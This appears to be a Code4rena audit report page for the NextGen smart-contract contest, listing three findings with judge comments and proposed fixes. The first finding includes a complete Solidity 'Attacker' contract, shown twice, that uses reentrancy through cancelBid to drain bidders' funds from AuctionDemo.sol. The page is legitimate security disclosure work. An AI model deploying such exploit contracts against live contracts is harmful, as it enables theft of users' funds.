Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 31/243
Findings: 3
Award: $412.93
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57C6-L61 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104C6-L120 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124C1-L130 Assume there is an auction on _tokenid and Attacker is a malicious smart contract. Attacker participate in auction and give 10 bids and also exactly in the auctionEndTime timestamp gives highest bid to win the auction. In that transaction also calls claimAuction.In all three above functions the requirement of compairsion block.timestamp to minter.getAuctionEndTime(_tokenid) is common(Edge case).It means in one timestamp(auctionEndTime)attacker can call participateToAuction ,claimAuction and cancelBid. So at the end of auction(auctionEndTime timestamp), attacker as winner of auction,calls claimAuction().Now it reads all bids and checks bidder is winner or not.Now when reads Attacker's bid ,calls the Attacker. Attacker.sol :
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; struct auctionInfoStru { address bidder; uint256 bid; bool status; } interface auctionDemo { function participateToAuction(uint256 _tokenid) external payable; function claimAuction(uint256 _tokenid) external; function cancelBid(uint256 _tokenid, uint256 index) external; function auctionInfoData(uint256 _tokenid) external returns(auctionInfoStru[] memory); function returnHighestBid(uint256 _tokenid) external view returns (uint256); } contract Attacker { // Assume auctionDemo.sol address is 0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B; auctionDemo amd = auctionDemo(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B); uint _tokenid = 10000000001; auctionInfoStru[] ids; uint256 myFirstId; receive() external payable { amd.cancelBid(_tokenid, myFirstId); myFirstId++; } //Step 1 : Attacker participate in auction and give 10 bids. function partInAuction() public { //Attacker bid ids whould be :[amd.auctionInfoData(_tokenid).length , amd.auctionInfoData(_tokenid).length +1 , amd.auctionInfoData(_tokenid).length + 2 ,...,amd.auctionInfoData(_tokenid).length + 9] myFirstId = amd.auctionInfoData(_tokenid).length; for(uint i ; i < 10 ; ++i){ //msg.value increases 1 wei each loop amd.participateToAuction{value:0.01 ether + i}(_tokenid); } } //Step 2 : Attacker calls claimAuction in auctionEndTime timestamp. function clamAuction() public { uint256 highestBid = amd.returnHighestBid(_tokenid); //Attacker should be winner to be able to call claimAuction() function amd.participateToAuction{value:highestBid + 1}(_tokenid); amd.claimAuction(_tokenid); } }
Each time Attacker is called,Attacker in receive function calls cancelBid(_tokenId).cancelBid() function returns bidder bid and sets auctionInfoData[_tokenid][index].status = false.Now Attacker has obtained double of his bid price.So if Attacker has 10 bids(~ 0.1 ether),he will receive 0.2 ether instead.This is a direct theft of all bidders. In a precise scenario Attacker can steal all values stored in the AuctionDemo.sol. There is a second scenario which attacker can prevent auction become successful and the highest bidder won't win the auction and no body else. In this scenario Attacker gives a bid at anytime (for example id = 100).At the endTime of auction,Attacker gives highest bid(for example id = 110) and calls calimAuction as winner of auction. When Attacker's 100 bid is refund, he calls cancelBid(id=110) in receive() function and takes her money back.But highestBid and highestBidder is calculated before for condition. So at the start of function highestBidder in Attacker but after call to Attacker,because auctionInfoData[_tokenid][i].status is set false, loop never enter first if condition and there will no be any winner. In this scenario Attacker prevent winner from successful trading and auction will have no winner and Attacker just pays a little gas.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; struct auctionInfoStru { address bidder; uint256 bid; bool status; } interface auctionDemo { function participateToAuction(uint256 _tokenid) external payable; function claimAuction(uint256 _tokenid) external; function cancelBid(uint256 _tokenid, uint256 index) external; function auctionInfoData(uint256 _tokenid) external returns(auctionInfoStru[] memory); function returnHighestBid(uint256 _tokenid) external view returns (uint256); } contract Attacker { // Assume auctionDemo.sol address is 0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B; auctionDemo amd = auctionDemo(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B); uint _tokenid = 10000000001; auctionInfoStru[] ids; uint256 myFirstId; receive() external payable { amd.cancelBid(_tokenid, myFirstId); myFirstId++; } //Step 1 : Attacker participate in auction and give 10 bids. function partInAuction() public { //Attacker bid ids whould be :[amd.auctionInfoData(_tokenid).length , amd.auctionInfoData(_tokenid).length +1 , amd.auctionInfoData(_tokenid).length + 2 ,...,amd.auctionInfoData(_tokenid).length + 9] myFirstId = amd.auctionInfoData(_tokenid).length; for(uint i ; i < 10 ; ++i){ //msg.value increases 1 wei each loop amd.participateToAuction{value:0.01 ether + i}(_tokenid); } } //Step 2 : Attacker calls claimAuction in auctionEndTime timestamp. function clamAuction() public { uint256 highestBid = amd.returnHighestBid(_tokenid); //Attacker should be winner to be able to call claimAuction() function amd.participateToAuction{value:highestBid + 1}(_tokenid); amd.claimAuction(_tokenid); } }
Remix
replace block.timestamp >= minter.getAuctionEndTime(_tokenid) by block.timestamp > minter.getAuctionEndTime(_tokenid) in claimAuction function to prevent attacker call all functions in one transaction.
Reentrancy
#0 - c4-pre-sort
2023-11-15T09:40:41Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-04T21:40:03Z
alex-ppg marked the issue as duplicate of #1323
#2 - c4-judge
2023-12-08T18:20:52Z
alex-ppg marked the issue as partial-50
🌟 Selected for report: bird-flu
Also found by: 00decree, 0xAadi, AS, Audinarey, DeFiHackLabs, Eigenvectors, Fitro, Hama, Kaysoft, Krace, REKCAH, SovaSlava, The_Kakers, Viktor_Cortess, cartlex_, degensec, devival, evmboi32, funkornaut, jacopod, openwide, peanuts, rotcivegaf, smiling_heretic, xAriextz, xiao
12.6178 USDC - $12.62
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); address highestBidder = returnHighestBidder(_tokenid); for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } }
After auction end time,claimAuction is called and send bidders's bid amount of ether to them.So the NFTtoken is transferred from the ownerOfToken to the winner and the highestBid should be sent to the ownerOfToken.But in Line113 this highestBid is sent to the owner of the smart contract, not winner. Now we don't see any mechanism to transfer this amount of ether from the owner to the winner. However it may be handled manually by the project which is not logical.
manual
replace owner() with ownerOfToken in Line114.
Token-Transfer
#0 - c4-pre-sort
2023-11-15T09:42:10Z
141345 marked the issue as duplicate of #245
#1 - c4-judge
2023-12-08T22:28:16Z
alex-ppg marked the issue as satisfactory
#2 - c4-judge
2023-12-08T22:28:22Z
alex-ppg marked the issue as partial-50
400.3131 USDC - $400.31
Assume we have a collection as below:
timePeriod = 1 Day Rate = 300 collectionMintCost = 2000 collectionEndMintCost = 1000 allowlistStartTime = 0 ( Start of Day 1 ); The price in time intervals will be as below:
Day1StartTime <--- Price = 2000 ---> Day2StartTime <--- Price = 1700 ---> Day3StartTime <--- Price = 1400 ---> Day4StartTime <--- Price = 1100 ---> Day5StartTime <--- Price = 1000 ---> publicEndTime
We see in first time interval getPrice() will return 2000 and after each period price will decrease 300 untill last period which will return collectionEndMintCost which is 1000. Assume the collection has saleOption = 2 an rate > 0 . Assume we are in the middle of Day4. So in L546 tDiff is calculate as: tDiff = (block.timestamp - collectionPhases[_collectionId].allowlistStartTime) / collectionPhases[_collectionId].timePeriod; tDiff = (4.5 - 0 ) / 1 = 4 As rate>0 for collection we enter else condition in Line552.
} else { if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) > tDiff) { price = collectionPhases[_collectionId].collectionMintCost - (tDiff * collectionPhases[_collectionId].rate); } else { price = collectionPhases[_collectionId].collectionEndMintCost; }
collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate) ( 2000 - 1000 ) / 300 = 3
Function in if condition in Line553 checks if tDiff is greater than above value, returns collectionPhases[_collectionId]. collectionEndMintCost as token price. So as condition ( 4 < 3 ) is false function enters else condition and returns 1000 as price. But we are in Day4 and from start to end of Day4 price should be 1100. So we see function getPrice() will return price lower than what should be and this cause everybody who mints tokens in Day4 will pay less money. For example if price in Day4 should be 1100,and Alice mints 5 token in public phase, she will pay 4000 instead of 5500 and takes a profit of 1500.(Big numbers for simplicity)
pragma solidity ^0.8.18; contract Comptroller{ uint256 public startTime = 0; uint256 public Rate = 300; uint256 public Period = 1; uint256 public collectionMintCost = 2000; uint256 public collectionEndMintcost= 1000; function test(uint256 timestamp) public returns(uint256 price){ uint256 tDiff = (timestamp - startTime) / Period; uint base = (collectionMintCost - collectionEndMintcost) / Rate; if ( tDiff < base){ price = collectionMintCost - tDiff * Rate; }else{ price = collectionEndMintcost; } } }
manual / remix
Replace
if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) > tDiff
by
if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) >= tDiff
in Line 553.
Math
#0 - c4-pre-sort
2023-11-17T12:33:11Z
141345 marked the issue as primary issue
#1 - c4-pre-sort
2023-11-22T02:12:37Z
141345 marked the issue as sufficient quality report
#2 - c4-sponsor
2023-11-22T14:10:31Z
a2rocket (sponsor) confirmed
#3 - c4-judge
2023-12-05T23:30:01Z
alex-ppg marked issue #271 as primary and marked this issue as a duplicate of 271
#4 - c4-judge
2023-12-08T22:35:32Z
alex-ppg marked the issue as partial-50
#5 - c4-judge
2023-12-09T00:24:17Z
alex-ppg changed the severity to 2 (Med Risk)